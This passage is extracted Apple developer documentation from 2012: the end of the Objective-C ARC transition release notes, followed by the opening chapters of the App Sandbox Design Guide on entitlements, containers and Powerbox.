Rights Reserved. 14Common Issues While Converting a Project When migrating existing projects, you are likely to run into various issues. Here are some common issues, together with solutions. You can’t invoke retain, release, or autorelease. This is a feature. You also can’t write: while ([x retainCount]) { [x release]; } You can’t invoke dealloc. You typically invoke dealloc if you are implementing a singleton or replacing an object in an init methods. Forsingletons, use the shared instance pattern. In init methods, you don't have to call dealloc anymore, because the object will be freed when you overwrite self. You can’t use NSAutoreleasePool objects. Use the new @autoreleasepool{} construct instead. This forces a block structure on your autorelease pool, and is about six times faster than NSAutoreleasePool. @autoreleasepool even works in non-ARC code. Because @autoreleasepool is so much faster than NSAutoreleasePool, many old “performance hacks” can simply be replaced with unconditional @autoreleasepool. The migrator handles simple uses of NSAutoreleasePool, but it can't handle complex conditional cases, or cases where a variable is defined inside the body of the new @autoreleasepool and used after it. ARC requires you to assign the result of [super init] to self in init methods. The following is invalid in ARC init methods: [super init]; The simple fix is to change it to: self = [super init]; The proper fix is to do that, and check the result for nil before continuing: self = [super init]; if (self) { ... Transitioning to ARC Release Notes Common Issues While Converting a Project 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 15You can’t implement custom retain or release methods. Implementing custom retain or release methods breaks weak pointers. There are several common reasons for wanting to provide custom implementations: ● Performance. Please don’t do this any more; the implementation of retain and release for NSObject is much faster now. If you still find problems, please file bugs. ● To implement a custom weak pointer system. Use __weak instead. ● To implement singleton class. Use the shared instance pattern instead. Alternatively, use class instead of instance methods, which avoids having to allocate the object at all. “Assigned” instance variables become strong. Before ARC, instance variables were non-owning references—directly assigning an object to an instance variable did not extend the lifetime of the object. To make a property strong, you usually implemented or synthesized accessor methods that invoked appropriate memory management methods; in contrast, you may have implemented accessor methods like those shown in the following example to maintain a weak property. @interface MyClass : Superclass { id thing; // Weak reference. } // ... @end @implementation MyClass - (id)thing { return thing; } - (void)setThing:(id)newThing { thing = newThing; } // ... Transitioning to ARC Release Notes Common Issues While Converting a Project 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 16@end With ARC, instance variables are strong references by default—assigning an object to an instance variable directly does extend the lifetime of the object. The migration tool is not able to determine when an instance variable is intended to be weak. To maintain the same behavior as before, you must mark the instance variable as being weak, or use a declared property. @interface MyClass : Superclass { id __weak thing; } // ... @end @implementation MyClass - (id)thing { return thing; } - (void)setThing:(id)newThing { thing = newThing; } // ... @end Or: @interface MyClass : Superclass @property (weak) id thing; // ... @end @implementation MyClass @synthesize thing; // ... @end Transitioning to ARC Release Notes Common Issues While Converting a Project 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 17You can't use strong ids in C structures. For example, the following code won’t compile: struct X { id x; float y; }; This is because x defaults to strongly retained and the compiler can’t safely synthesize all the code required to make it work correctly. For example, if you pass a pointer to one of these structures through some code that ends up doing a free, each id would have to be released before the struct is freed. The compiler cannot reliably do this, so strong ids in structures are disallowed completely in ARC mode. There are a few possible solutions: 1. Use Objective-C objects instead of structs. This is considered to be best practice anyway. 2. If using Objective-C objects is sub-optimal, (maybe you want a dense array of these structs) then consider using a void* instead. This requires the use of the explicit casts, described below. 3. Mark the object reference as __unsafe_unretained. This approach may be useful for the semi-common patterns like this: struct x { NSString *S; int X; } StaticArray[] = { @"foo", 42, @"bar, 97, ... }; You declare the structure as: struct x { NSString * __unsafe_unretained S; int X; } This may be problematic and is unsafe if the object could be released out from under the pointer, but it is very useful for things that are known to be around forever like constant string literals. You can’t directly cast between id and void* (including Core Foundation types). This is discussed in greater detail in “Managing Toll-Free Bridging” (page 12). Transitioning to ARC Release Notes Common Issues While Converting a Project 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 18Frequently Asked Questions How do I think about ARC? Where does it put the retains/releases? Try to stop thinking about where the retain/release calls are put and think about your application algorithms instead. Think about “strong and weak” pointers in your objects, about object ownership, and about possible retain cycles. Do I still need to write dealloc methods for my objects? Maybe. Because ARC does not automate malloc/free, management of the lifetime of Core Foundation objects, file descriptors, and so on, you still free such resources by writing a dealloc method. You do not have to (indeed cannot) release instance variables, but you may need to invoke [self setDelegate:nil] on system classes and other code that isn’t compiled using ARC. dealloc methods in ARC do not require—or allow—a call to [super dealloc]; the chaining to super is handled and enforced by the runtime. Are retain cycles still possible in ARC? Yes. ARC automates retain/release, and inherits the issue of retain cycles. Fortunately, code migrated to ARC rarely starts leaking, because properties already declare whether the properties are retaining or not. How do blocks work in ARC? Blocks “just work” when you pass blocks up the stack in ARC mode, such as in a return. You don’t have to call Block Copy any more. You still need to use [^{} copy] when passing “down” the stack into arrayWithObjects: and other methods that do a retain. The one thing to be aware of isthat NSString * __block myString isretained in ARC mode, not a possibly dangling pointer. To get the previous behavior, use __block NSString * __unsafe_unretained myString or (better still) use __block NSString * __weak myString. Can I develop applications for OS X with ARC using Snow Leopard? No. The Snow Leopard version of Xcode 4.2 doesn’t support ARC at all on OS X, because it doesn’t include the 10.7 SDK. Xcode 4.2 for Snow Leopard does support ARC for iOS though, and Xcode 4.2 for Lion supports both OS X and iOS. This means you need a Lion system to build an ARC application that runs on Snow Leopard. Can I create a C array of retained pointers under ARC? Transitioning to ARC Release Notes Frequently Asked Questions 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 19Yes, you can, as illustrated by this example: // Note calloc() to get zero-filled memory. __strong SomeClass **dynamicArray = (__strong SomeClass **)calloc(sizeof(SomeClass *), entries); for (int i = 0; i < entries; i++) { dynamicArray[i] = [[SomeClass alloc] init]; } // When you're done, set each entry to nil to tell ARC to release the object. for (int i = 0; i < entries; i++) { dynamicArray[i] = nil; } free(dynamicArray); There are a number of aspects to note: ● You will need to write __strong SomeClass ** in some cases, because the default is __autoreleasing SomeClass **. ● The allocated memory must be zero-filled. ● You must set each element to nil before freeing the array (memset or bzero will not work). ● You should avoid memcpy or realloc. Is ARC slow? It depends on what you’re measuring, but generally “no.” The compiler efficiently eliminates many extraneous retain/release calls and much effort has been invested in speeding up the Objective-C runtime in general. In particular, the common “return a retain/autoreleased object” pattern is much faster and does not actually put the object into the autorelease pool, when the caller of the method is ARC code. One issue to be aware of is that the optimizer is not run in common debug configurations, so expect to see a lot more retain/release traffic at -O0 than at -Os. Does ARC work in ObjC++ mode? Yes. You can even put strong/weak ids in classes and containers. The ARC compiler synthesizes retain/release logic in copy constructors and destructors etc to make this work. Which classes don’t support weak references? Transitioning to ARC Release Notes Frequently Asked Questions 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 20You cannot currently create weak references to instances of the following classes: NSATSTypesetter, NSColorSpace, NSFont, NSMenuView, NSParagraphStyle, NSSimpleHorizontalTypesetter, and NSTextView. Note: In addition, in OS X v10.7, you cannot create weak referencesto instances of NSFontManager, NSFontPanel, NSImage, NSTableCellView, NSViewController, NSWindow, and NSWindowController. In addition, in OS X v10.7 no classes in the AV Foundation framework support weak references. For declared properties, you should use assign instead of weak; for variables you should use __unsafe_unretained instead of __weak. In addition, you cannot create weak references from instances of NSHashTable, NSMapTable, or NSPointerArray under ARC. What do I have to do when subclassing NSCell or another class that uses NSCopyObject? Nothing special. ARC takes care of cases where you had to previously add extra retains explicitly. With ARC, all copy methods should just copy over the instance variables. Can I opt out of ARC for specific files? Yes. Transitioning to ARC Release Notes Frequently Asked Questions 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 21When you migrate a project to use ARC, the -fobjc-arc compiler flag is set as the default for all Objective-C source files. You can disable ARC for a specific class using the -fno-objc-arc compiler flag for that class. In Xcode, in the target Build Phasestab, open the Compile Sources group to reveal the source file list. Double-click the file for which you want to set the flag, enter -fno-objc-arc in the pop-up panel, then click Done. Is GC (Garbage Collection) deprecated on the Mac? Garbage collection is deprecated in OS X Mountain Lion v10.8, and will be removed in a future version of OS X. Automatic Reference Counting is the recommended replacement technology. To aid in migrating existing applications, the ARC migration tool in Xcode 4.3 and later supports migration of garbage collected OS X applications to ARC. Note: For apps targeting the Mac App Store, Apple strongly recommends you replace garbage collection with ARC as soon as feasible, because Mac App Store guidelines (see App Store Review Guidelines for Mac Apps) prohibit the use of deprecated technologies. Transitioning to ARC Release Notes Frequently Asked Questions 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 22This table describes the changes to Transitioning to ARC Release Notes. Date Notes 2012-07-17 Updated for OS X v10.8. 2012-03-14 Noted that under ARC properties are strong by default. 2012-02-16 Corrected out-of-date advice regarding C++ integration. 2012-01-09 Added note to search for weak references. First version of a document that describes how to transition code from manual retain/release to use ARC. 2011-10-12 2012-07-17 | © 2012 Apple Inc. All Rights Reserved. 23 Document Revision HistoryApple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Cocoa, Leopard, Mac, Objective-C, OS X, Snow Leopard, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. App Store and Mac App Store are service marks of Apple Inc. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. App Sandbox Design GuideContents About App Sandbox 5 At a Glance 5 How to Use This Document 6 Prerequisites 6 See Also 6 App Sandbox Quick Start 8 Create the Xcode Project 8 Enable App Sandbox 10 Create a Code Signing Certificate for Testing 10 Specify the Code Signing Identity 11 Confirm That the App Is Sandboxed 12 Resolve an App Sandbox Violation 13 App Sandbox in Depth 15 The Need for a Last Line of Defense 15 Container Directories and File System Access 16 The App Sandbox Container Directory 16 The Application Group Container Directory 17 Powerbox and File System Access Outside of Your Container 17 Open and Save Dialog Behavior with App Sandbox 19 Entitlements and System Resource Access 20 Security-Scoped Bookmarks and Persistent Resource Access 21 Two Distinct Types of Security-Scoped Bookmark 21 Using Security-Scoped Bookmarks 22 App Sandbox and Code Signing 24 External Tools, XPC Services, and Privilege Separation 26 Designing for App Sandbox 27 Six Steps for Adopting App Sandbox 27 Determine Whether Your App Is Suitable for Sandboxing 27 Design a Development and Distribution Strategy 29 Resolve API Incompatibilities 29 Opening, Saving, and Tracking Documents 29 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 2Retaining Access to File System Resources 29 Creating a Login Item for Your App 30 Accessing User Data 30 Accessing Preferences of Other Apps 30 Apply the App Sandbox Entitlements You Need 31 Add Privilege Separation Using XPC 32 Implement a Migration Strategy 32 Migrating an App to a Sandbox 33 Creating a Container Migration Manifest 34 Undoing a Migration for Testing 36 An Example Container Migration Manifest 36 Use Variables to Specify Support-File Directories 37 Document Revision History 39 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsTables and Listings App Sandbox in Depth 15 Table 2-1 The App Sandbox mindset 15 Table 2-2 Open and Save class inheritance with App Sandbox 20 Migrating an App to a Sandbox 33 Table 4-1 How system directory variables resolve depending on context 37 Table 4-2 Variables for support-file directories 38 Listing 4-1 An example container migration manifest 36 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 4App Sandbox provides a last line of defense against stolen, corrupted, or deleted user data if malicious code exploits your app. App Sandbox also minimizes the damage from coding errors in your app or in frameworks you link against. Your app All system resources All user data Unrestricted access Other system resources Other user data Your app Unrestricted access No access Without App Sandbox With App Sandbox Your sandbox App Sandbox is an access control technology provided in OS X, enforced at the kernel level. Its strategy is twofold: 1. App Sandbox enables you to describe how your app interacts with the system. The system then grants your app the access it needs to get its job done, and no more. 2. App Sandbox allows the user to transparently grant your app additional access by way of Open and Save dialogs, drag and drop, and other familiar user interactions. At a Glance Based on simple security principles, App Sandbox provides strong defense against damage from malicious code. The elements of App Sandbox are container directories, entitlements, user-determined permissions, privilege separation, and kernel enforcement. It’s up to you to understand these elements and then to use your understanding to create a plan for adopting App Sandbox. 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 5 About App SandboxRelevant chapters: “App Sandbox Quick Start” (page 8), “App Sandbox in Depth” (page 15) After you understand the basics, look at your app in light of this security technology. First, determine if your app issuitable forsandboxing. Most apps are. Design your developmentstrategy, resolve API incompatibilities, determine which entitlements you need, and consider applying privilege separation to maximize the defensive value of App Sandbox. Relevant chapter: “Designing for App Sandbox” (page 27) Some file system locations that your app uses are different when you adopt App Sandbox. In particular, you gain a container directory to be used for app support files, databases, caches, and other files apart from user documents. OS X and Xcode support migration of files from their legacy locations to your container. Relevant chapter: “Migrating an App to a Sandbox” (page 33) How to Use This Document To get up and running with App Sandbox, perform the tutorial in “App Sandbox Quick Start” (page 8). Before sandboxing an app you intend to distribute, be sure you understand “App Sandbox in Depth” (page 15). When you’re ready to startsandboxing a new app, or to convert an existing app to adopt App Sandbox, read “Designing for App Sandbox” (page 27). If you’re providing a new, sandboxed version of your app to users already running a version that is not sandboxed, read “Migrating an App to a Sandbox” (page 33). Prerequisites Before you read this document, make sure you understand the place of App Sandbox and code signing in the overall OS X development process by reading Mac App Programming Guide . See Also To complement the damage containment provided by App Sandbox, you must provide a first line of defense by adopting secure coding practices throughout your app. To learn how, read Security Overview and Secure Coding Guide . About App Sandbox How to Use This Document 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 6An important step in adopting App Sandbox is requesting entitlements for your app. For details on all the available entitlements, see Entitlement Key Reference . You can enhance the benefits of App Sandbox in a full-featured app by implementing privilege separation. You do this using XPC, an OS X implementation of interprocess communication. To learn the details of using XPC, read Daemons and Services Programming Guide . About App Sandbox See Also 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 7In this Quick Start you get an OS X app up and running in a sandbox. You verify that the app isindeed sandboxed and then learn how to troubleshoot and resolve a typical App Sandbox error. The apps you use are Xcode, Keychain Access, Activity Monitor, and Console. Create the Xcode Project The app you create in this Quick Start uses a WebKit web view and consequently uses a network connection. Under App Sandbox, network connections don’t work unless you specifically allow them—making this a good example app for learning about sandboxing. To create the Xcode project for this Quick Start 1. In Xcode 4, create a new Xcode project for an OS X Cocoa application. ● Name the project AppSandboxQuickStart. ● Set a company identifier, such as com.yourcompany, if none is already set. ● Ensure that Use Automatic Reference Counting is selected and that the other checkboxes are unselected. 2. In the project navigator, click the MainMenu nib file. The Interface Builder canvas appears. 3. In the Xcode dock, click the Window object. The app’s window is now visible on the canvas. 4. In the object library (in the utilities area), locate the WebView object. 5. Drag a web view onto the window on the canvas. 6. (Optional) To improve the display of the web view in the running app, perform the following steps: ● Drag the sizing controls on the web view so that it completely fills the window’s main view. ● Using the size inspector for the web view, ensure that all of the inner and outer autosizing contraints are active. 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 8 App Sandbox Quick Start7. Create and connect an outlet for the web view in the AppDelegate class. In Xcode, use the following specification: Outlet connection source The WebView object of the MainMenu nib file. Outlet variable location The interface block of the AppDelegate.h header file. Outlet name webView Storage weak At this point, if you were to build the app, Xcode would report an error because the project doesn’t yet use WebKit but does have a web view in the nib file. You take care of this in the next step. 8. Add the WebKit framework to the app. ● Import the WebKit framework by adding the following statement above the interface block in the AppDelegate.h header file: #import ● Link the WebKit framework to the Quick Start project as a required framework. 9. Add the following awakeFromNib method to the AppDelegate.m implementation file: - (void) awakeFromNib { [self.webView.mainFrame loadRequest: [NSURLRequest requestWithURL: [NSURL URLWithString: @"http://www.apple.com"]]]; } On application launch, this method requeststhe specified URL from the computer’s network connection and then sends the result to the web view for display. Now, build and run the app—which is not yet sandboxed and so has free access to system resources including its network sockets. Confirm that the app’s window displays the page you specified in the awakeFromNib method. When done, quit the app. App Sandbox Quick Start Create the Xcode Project 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 9Enable App Sandbox You enable App Sandbox by selecting a checkbox in the Xcode target editor. In Xcode, click the project file in the project navigator and click the AppSandboxQuickStart target, if they’re not already selected. View the Summary tab of the target editor. To enable App Sandbox for the project 1. In the Summary tab of the target editor, click Enable Entitlements. An entitlement is a key-value pair, defined in a property list file, that confers a specific capability or security permission to a target. When you click Enable Entitlements, Xcode automatically checks the Code Sign Application checkbox and the Enable App Sandboxing checkbox. Together, these are the essential projectsettingsfor enabling App Sandbox. When you click Enable Entitlements, Xcode also creates a .entitlements property list file, visible in the project navigator. As you use the graphical entitlementsinterface in the target editor, Xcode updates the property list file. 2. Clear the contents of the iCloud entitlement fields. This Quick Start doesn’t use iCloud. Because Xcode automatically adds iCloud entitlement values when you enable entitlements, delete them as follows: ● In the Summary tab of the target editor,select and then delete the content of the iCloud Key-Value Store field. ● Click the top row in the iCloud Containers field and click the minus button. At this point in the Quick Start, you have enabled App Sandbox but have not yet provided a code signing identity for the Xcode project. Consequently, if you attempt to build the project now, the build fails. You take care of this in the next two sections. Create a Code Signing Certificate for Testing To build a sandboxed app in Xcode, you must have a code signing certificate and its associated private key in your keychain, and then use that certificate’s code signing identity in the project. The entitlements you specify, including the entitlement that enables App Sandbox, become part of the app’s code signature when you build the project. App Sandbox Quick Start Enable App Sandbox 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 10In this section, you create a code signing certificate. This simplified process lets you stay focused on the steps for enabling a sandbox. Important: A code signing certificate that you create as described in this Quick Start is not appropriate to use with an app you intend to distribute. Before you work on sandboxing an app you plan to distribute, read “App Sandbox and Code Signing” (page 24). To create a code signing certificate for testing App Sandbox 1. In Keychain Access (available in Applications/Utilities), choose KeyChain Access > Certificate Assistant > Create a Certificate. Certificate Assistant opens. Note: Before you invoke the “Create a Certificate” menu command, ensure that no key is selected in the Keychain Access main window. If a key is selected, the menu command is not available. 2. In Certificate Assistant, name the certificate something like My Test Certificate. 3. Complete the configuration of the certificate as follows: Identity type Self Signed Root Certificate type Code Signing Let me override defaults unchecked 4. Click Create. 5. In the alert that appears, click Continue. 6. In the Conclusion window, click Done. Your new code signing certificate, and its associated public and private keys, are now available in Keychain Access. Specify the Code Signing Identity Now, configure the Xcode project to use the code signing identity from the certificate you created in the previous task. App Sandbox Quick Start Specify the Code Signing Identity 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 11To specify the code signing identity for the project 1. View the Build Settings tab in the project editor. Take care that you are using the project editor, not the target editor. 2. In the Code Signing section, locate the Code Signing Identity row. 3. Click the value area of the Code Signing Identity row. 4. In the popup menu that opens, choose Other. 5. In the text entry window that opens, enter the exact name of the newly created code signing certificate, then press . If you’re using the suggested name from thisQuick Start, the name you enter is My Test Certificate. Now, build the app. The codesign tool may display an alert asking for permission to use the new certificate. If you do see this alert, click Always Allow. Confirm That the App Is Sandboxed Build and run the Quick Start app. The window opens, but if the app issuccessfully sandboxed, no web content appears. This is because you have not yet conferred permission to access a network connection. Apart from blocked behavior, there are two specific signs that an OS X app is successfully sandboxed. To confirm that the Quick Start app is successfully sandboxed 1. In Finder, look at the contents of the ~/Library/Containers/ folder. If the Quick Start app is sandboxed, there is now a container folder named after your app. The name includes the company identifier for the project, so the complete folder name would be, for example, com.yourcompany.AppSandboxQuickStart. The system creates an app’s container folder, for a given user, the first time the user runs the app. 2. In Activity Monitor, check that the system recognizes the app as sandboxed. ● Launch Activity Monitor (available in /Applications/Utilities). ● In Activity Monitor, choose View > Columns. Ensure that the Sandbox menu item is checked. ● In the Sandbox column, confirm that the value for the Quick Start app is Yes. App Sandbox Quick Start Confirm That the App Is Sandboxed 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 12To make it easier to locate the app in Activity monitor, enter the name of the Quick Start app in the Filter field. Tip: If the app crashes when you attempt to run it,specifically by receiving an EXC_BAD_INSTRUCTION signal, the most likely reason is that you previously ran a sandboxed app with the same bundle identifier but a different code signature. This crashing upon launch is an App Sandbox security feature that prevents one app from masquerading as another and thereby gaining access to the other app’s container. You learn how to design and build your apps, in light of this security feature, in “App Sandbox and Code Signing” (page 24). Resolve an App Sandbox Violation An App Sandbox violation occurs if your app tries to do something that App Sandbox does not allow. For example, you have already seen in this Quick Start that the sandboxed app is unable to retrieve content from the web. Fine-grained restriction over access to system resources is the heart of how App Sandbox provides protection should an app become compromised by malicious code. The most common source of App Sandbox violations is a mismatch between the entitlement settings you specified in Xcode and the needs of your app. In this section you observe and then correct an App Sandbox violation. To diagnose an App Sandbox violation 1. Build and run the Quick Start app. The app starts normally, but fails to display the webpage specified in its awakeFromNib method (as you’ve previously observed in “Confirm That the App Is Sandboxed” (page 12)). Because displaying the webpage worked correctly before you sandboxed the app, it is appropriate in this case to suspect an App Sandbox violation. 2. Open Console (available in /Applications/Utilities/) and ensure that All Messages is selected in the sidebar. In the filter field of the Console window, enter sandboxd to display only App Sandbox violations. sandboxd is the name of the App Sandbox daemon that reports on sandbox violations. The relevant messages, as displayed in Console, look similar to the following: 3:56:16 pm sandboxd: ([4928]) AppSandboxQuickS(4928) deny network-outbound 111.30.222.15:80 3:56:16 pm sandboxd: ([4928]) AppSandboxQuickS(4928) deny system-socket App Sandbox Quick Start Resolve an App Sandbox Violation 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 13The problem that generates these console messages is that the Quick Start app does not yet have the entitlement for outbound network access. Tip: To see the full backtraces for either violation, click the paperclip icon near the right edge of the corresponding Console message. The steps in the previous task illustrate the general pattern to use for identifying App Sandbox violations: 1. Confirm that the violation occurs only with App Sandbox enabled in your project. 2. Provoke the violation (such as by attempting to use a network connection, if your app is designed to do that). 3. Look in Console for sandboxd messages. There is also a simple, general pattern to use for resolving such violations. To resolve the App Sandbox violation by adding the appropriate entitlement 1. Quit the Quick Start app. 2. In the Summary tab of the target editor, look for the entitlement that corresponds to the reported sandboxd violation. In this case, the primary error is deny network-outbound. The corresponding entitlement is Allow Outgoing Network Connections. 3. In the Summary tab of the target editor, select the Allow Outgoing Network Connections checkbox. Doing so applies a TRUE value, for the needed entitlement, to the Xcode project. 4. Build and run the app. The intended webpage now displays in the app. In addition, there are no new App Sandbox violation messages in Console. App Sandbox Quick Start Resolve an App Sandbox Violation 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 14The access control mechanisms used by App Sandbox to protect user data are small in number and easy to understand. But the specific steps for you to take, as you adopt App Sandbox, are unique to your app. To determine what those steps are, you must understand the key concepts for this technology. The Need for a Last Line of Defense You secure your app against attack from malware by following the practices recommended in Secure Coding Guide . But despite your best efforts to build an invulnerable barrier—by avoiding buffer overflows and other memory corruptions, preventing exposure of user data, and eliminating other vulnerabilities—your app can be exploited by malicious code. An attacker needs only to find a single hole in your defenses, or in any of the frameworks and libraries that you link against, to gain control of your app’s interactions with the system. App Sandbox is designed to confront this scenario head on by letting you describe your app’s intended interactions with the system. The system then grants your app only the access your app needs to get its job done. If malicious code gains control of a properly sandboxed app, it is left with access to only the files and resources in the app’s sandbox. To successfully adopt App Sandbox, use a different mindset than you might be accustomed to, as suggested in Table 2-1. Table 2-1 The App Sandbox mindset When developing… When adopting App Sandbox… Add features Minimize system resource use Take advantage of access throughout your app Partition functionality, then distrust each part Use the most convenient API Use the most secure API View restrictions as limitations View restrictions as safeguards 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 15 App Sandbox in DepthWhen designing for App Sandbox, you are planning for the following worst-case scenario: Despite your best efforts, malicious code breaches an unintended security hole—either in your code or in a framework you’ve linked against. Capabilities you’ve added to your app become capabilities of the hostile code. Keep this in mind as you read the rest of this document. Container Directories and File System Access When you adopt App Sandbox, the system provides a special directory for use by your app—and only by your app—called a container. Each user on a system gets an individual container for your app, within their home directory; your app has unfettered read/write access to the container for the current user. The App Sandbox Container Directory The container has the following characteristics: ● It is located at a system-defined path, within the user’s home directory, that you can obtain by calling the NSHomeDirectory function. ● Your app has unrestricted read/write access to the container and its subdirectories. ● OS X path-finding APIs (above the POSIX layer) refer to locations that are specific to your app. Most of these path-finding APIsrefer to locationsrelative to your app’s container. For example, the container includes an individual Library directory (specified by the NSLibraryDirectory search path constant) for use only by your app, with individual Application Support and Preferences subdirectories. Using your container forsupport filesrequires no code change (from the pre-sandbox version of your app) but may require one-time migration, as explained in “Migrating an App to a Sandbox” (page 33). Some path-finding APIs (above the POSIX layer) refer to app-specific locations outside of the user’s home directory. In a sandboxed app, for example, the NSTemporaryDirectory function provides a path to a directory that is outside of the user’s home directory but specific to your app and within your sandbox; you have unrestricted read/write access to it for the current user. The behavior of these path-finding APIs is suitably adjusted for App Sandbox and no code change is needed. ● OS X establishes and enforces the connection between your app and its container by way of your app’s code signature. ● The container isin a hidden location, and so users do not interact with it directly. Specifically, the container is not for user documents. It is for files that your app uses, along with databases, caches, and other app-specific data. For a shoebox-style app, in which you provide the only user interface to the user’s content, that content goes in the container and your app has full access to it. App Sandbox in Depth Container Directories and File System Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 16iOS Note: Because it is not for user documents, an OS X container differs from an iOS container—which, in iOS, is the one and only location for user documents. In addition, an iOS container contains the app itself. This is not so in OS X. iCloud Note: Apple’s iCloud technology, as described in “iCloud Storage”, uses the name “container” as well. There is no functional connection between an iCloud container and an App Sandbox container. Thanks to code signing, no other sandboxed app can gain access to your container, even if it attempts to masquerade as your app by using your bundle identifier. Future versions of your app, however—provided that you use the same code signature and bundle identifier—do reuse your app’s container. The time at which a container directory is created for an App Sandbox–enabled app is when the app is first run. Because a container is within a user’s home folder, each user on a system gets their own container for your app. A given user’s container is created when that user first runs your app. The Application Group Container Directory In addition to per-app containers, beginning in OS X v10.7.4, an application can use entitlements to request access to a shared container that is common to multiple applications produced by the same development team. This container is intended for content that is not user-facing, such as shared caches or databases. Applicationsthat are members of an application group also gain the ability to share Mach and POSIX semaphores and to use certain other IPC mechanisms in conjunction with other group members. These group containers are automatically created or added into each app’s sandbox container as determined by the existence of these keys, and are stored in ~/Library/Group Containers/, where can be whatever name you choose. Your app can obtain the path to the group containers by calling the containerURLForSecurityApplicationGroupIdentifier: method of NSURL. For more details, see “Adding an Application to an Application Group” in Entitlement Key Reference . Powerbox and File System Access Outside of Your Container Your sandboxed app can access file system locations outside of its container in the following three ways: ● At the specific direction of the user App Sandbox in Depth Container Directories and File System Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 17● By using entitlements for specific file-system locations (described in “Entitlements and System Resource Access” (page 20)) ● When the file system location is in certain directories that are world readable The OS X security technology that interacts with the user to expand yoursandbox is called Powerbox. Powerbox has no API. Your app uses Powerbox transparently when you use the NSOpenPanel and NSSavePanel classes. You enable Powerbox by setting an entitlement using Xcode, as described in “Enabling User-Selected File Access” in Entitlement Key Reference . When you invoke an Open or Save dialog from your sandboxed app, the window that appears is presented not by AppKit but by Powerbox. Using Powerbox is automatic when you adopt App Sandbox—it requires no code change from the pre-sandbox version of your app. Accessory panelsthat you’ve implemented for opening or saving are faithfully rendered and used. Note: When you adopt App Sandbox, there are some important behavioral differences for the NSOpenPanel and NSSavePanel classes, described in “Open and Save Dialog Behavior with App Sandbox” (page 19). The security benefit provided by Powerbox is that it cannot be manipulated programmatically—specifically, there is no mechanism for hostile code to use Powerbox for accessing the file system. Only a user, by interacting with Open and Save dialogs via Powerbox, can use those dialogs to reach portions of the file system outside of your previously established sandbox. For example, if a user saves a new document, Powerbox expands your sandbox to give your app read/write access to the document. When a user of your app specifies they want to use a file or a folder, the system adds the associated path to your app’s sandbox. Say, for example, a user drags the ~/Documents folder onto your app’s Dock tile (or onto your app’s Finder icon, or into an open window of your app), thereby indicating they want to use that folder. In response, the system makes the ~/Documents folder, its contents, and its subfolders available to your app. If a user instead opens a specific file, or saves to a new file, the system makes the specified file, and that file alone, available to your app. In addition, the system automatically permits a sandboxed app to: ● Connect to system input methods ● Invoke services chosen by the user from the Services menu (only those services flagged as “safe” by the service provider are available to a sandboxed app) ● Open files chosen by the user from the Open Recent menu ● Participate with other apps by way of user-invoked copy and paste App Sandbox in Depth Container Directories and File System Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 18● Read files that are world readable, in certain directories, including the following directories: ● /bin ● /sbin ● /usr/bin ● /usr/lib ● /usr/sbin ● /usr/share ● /System After a user hasspecified a file they want to use, that file is within your app’ssandbox. The file isthen vulnerable to attack if your app is exploited by malicious code: App Sandbox provides no protection. To provide protection for the files within your sandbox, follow the recommendations in Secure Coding Guide . A critical aspect of following user intent is that throughout OS X, simulation or alteration of user input is not allowed. This has implications for assistive apps, as described in “Determine Whether Your App Is Suitable for Sandboxing” (page 27). By default, files opened or saved by the user remain within your sandbox until your app terminates, except for files that were open at the time that your app terminates. Such files reopen automatically by way of the OS X Resume feature the next time your app launches, and are automatically added back to your app’ssandbox. To provide persistent access to resources located outside of your container, in a way that doesn’t depend on Resume, use security-scoped bookmarks as explained in “Security-Scoped Bookmarks and Persistent Resource Access” (page 21). Open and Save Dialog 